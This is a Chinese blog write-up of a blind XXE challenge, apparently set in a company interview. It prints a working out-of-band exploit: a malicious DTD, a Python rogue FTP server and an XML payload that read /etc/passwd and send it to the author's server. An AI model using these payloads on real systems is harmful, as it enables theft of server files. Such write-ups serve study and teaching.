0%

'某公司面试题'

朋友去面试,对方公司给的一道题

Blind XXE

题目地址http://180.101.148.103:8088/admin/
路径扫描与端口扫描未发现可利用信息

随便输入点信息,抓包

可以看到是个明显的XXE
但是尝试之后发现无回显
响应包只会提示内部错误或空白

之后尝试使用ceye平台数据外带,未果,可能是我语句错了
(文章中使用的是7tools平台的工具,原理都一样)
文章http://www.admintony.com/XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93-XXE.html

之后看了ftp,尝试使用ftp进行通信,数据外带
VPS创建1.dtd,内容如下(VPS地址打码,均用局域网地址代替)
(记得第二个%进行html实体编码,我第一尝试的时候失败了,因为没编码)

1
<!ENTITY % param3 "<!ENTITY &#37; exfil SYSTEM 'ftp://192.168.1.1/%data3;'>">

运行以下脚本,启动ftp服务器(检查防火墙是否开放21端口,很重要,不然信息无法返回)
Python xxe-ftp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/env/python
from __future__ import print_function
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0',21))
s.listen(1)
print('XXE-FTP listening ')
conn,addr = s.accept()
print('Connected by %s',addr)
conn.sendall('220 Staal XXE-FTP\r\n')
stop = False
while not stop:
dp = str(conn.recv(1024))
if dp.find("USER") > -1:
conn.sendall("331 password please - version check\r\n")
else:
conn.sendall("230 more data please!\r\n")
if dp.find("RETR")==0 or dp.find("QUIT")==0:
stop = True
if dp.find("CWD") > -1:
print(dp.replace('CWD ','/',1).replace('\r\n',''),end='')
else:
print(dp)

conn.close()
s.close()

开启server服务,记得在1.dtd的目录下开启(防火墙记得开放8000端口)

发送请求

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://192.168.1.1:8000/1.dtd">
%sp;
%param3;
%exfil;
]>


可以看到我们接收到了etc/passwd文件的内容
寻找flag,一般CTF的flag都在根目录或root中,一个一个访问root下的文件,拿到flag

参考文档https://xz.aliyun.com/t/6829#toc-5?tdsourcetag=s_pctim_aiomsg